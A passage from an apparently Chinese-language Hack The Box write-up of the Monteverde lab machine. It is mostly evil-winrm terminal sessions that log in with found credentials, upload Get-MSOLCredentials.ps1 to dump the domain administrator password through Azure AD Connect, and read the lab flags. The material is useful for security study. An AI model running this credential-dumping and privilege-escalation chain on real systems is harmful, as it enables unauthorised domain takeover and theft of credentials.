SMB 10.10.10.172 5985 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
HTTP 10.10.10.172 5985 MONTEVERDE [*] http://10.10.10.172:5985/wsman
WINRM 10.10.10.172 5985 MONTEVERDE [*] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pwn3d!)

```

知道了是mhope的用户名和密码，直接登陆：

```

(kali@kali)~[~/Desktop/HTB/monteverde]
$ evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mhope\Documents> whoami
megabank\mhope
*Evil-WinRM* PS C:\Users\mhope\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\mhope\desktop> ls

Directory: C:\Users\mhope\desktop

Mode                LastWriteTime         Length Name
----                -
-ar-----         1/3/2020   5:48 AM             32 user.txt

*Evil-WinRM* PS C:\Users\mhope\desktop> cat user.txt
4961976bd7d8f4eeb2ce3705e2f212f2

```

尝试过使用winPEASx64.exe，没有效果，使用net user mhope的时候发现：

```

*Evil-WinRM* PS C:\Users\mhope\Documents> net user mhope
User name                mhope
Full Name                 Mike Hope
Comment
User's comment
Country/region code       000 (System Default)
Account active            Yes
Account expires           Never

Password last set         1/2/2020 4:40:05 PM
Password expires          Never
Password changeable       1/3/2020 4:40:05 PM
Password required         Yes
User may change password  No

Workstations allowed      All
Logon script
User profile
Home directory            \\monteverde\users$\mhope
Last logon                1/3/2020 6:29:59 AM

Logon hours allowed       All

Local Group Memberships   *Remote Management Use
Global Group memberships  *Azure Admins           *Domain Users
The command completed successfully.

```

它属于Azure Admins组，该组可以被用于提权：

```

(kali㉿kali)-[~/Desktop/HTB/monteverde]
$ evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mhope\Documents> net user mhope
User name                mhope
Full Name                 Mike Hope
Comment
User's comment
Country/region code      000 (System Default)
Account active            Yes
Account expires           Never

Password last set        1/2/2020 4:40:05 PM
Password expires          Never
Password changeable       1/3/2020 4:40:05 PM
Password required         Yes
User may change password  No

Workstations allowed      All
Logon script
User profile
Home directory            \\monteverde\users$\mhope
Last logon                1/3/2020 6:29:59 AM

Logon hours allowed       All

Local Group Memberships  *Remote Management Use
Global Group memberships *Azure Admins          *Domain Users
The command completed successfully.

*Evil-WinRM* PS C:\Users\mhope\Documents> upload Get-MSOLCredentials.ps1
Info: Uploading Get-MSOLCredentials.ps1 to C:\Users\mhope\Documents\Get-MSOLCredentials.ps1

Data: 2236 bytes of 2236 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\mhope\Documents> ./Get-MSOLCredentials.ps1
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dm1nyeah!
*Evil-WinRM* PS C:\Users\mhope\Documents>

```

获得admin权限的账号和密码：

```

(kali㉿kali)-[~/Desktop/HTB/monteverde]
$ evil-winrm -i 10.10.10.172 -u administrator -p d0m@in4dm1nyeah!

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
megabank\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../desktop/root.txt
12909612d25c8dcf6e5a07d1a804a0bc
*Evil-WinRM* PS C:\Users\Administrator\Documents>

```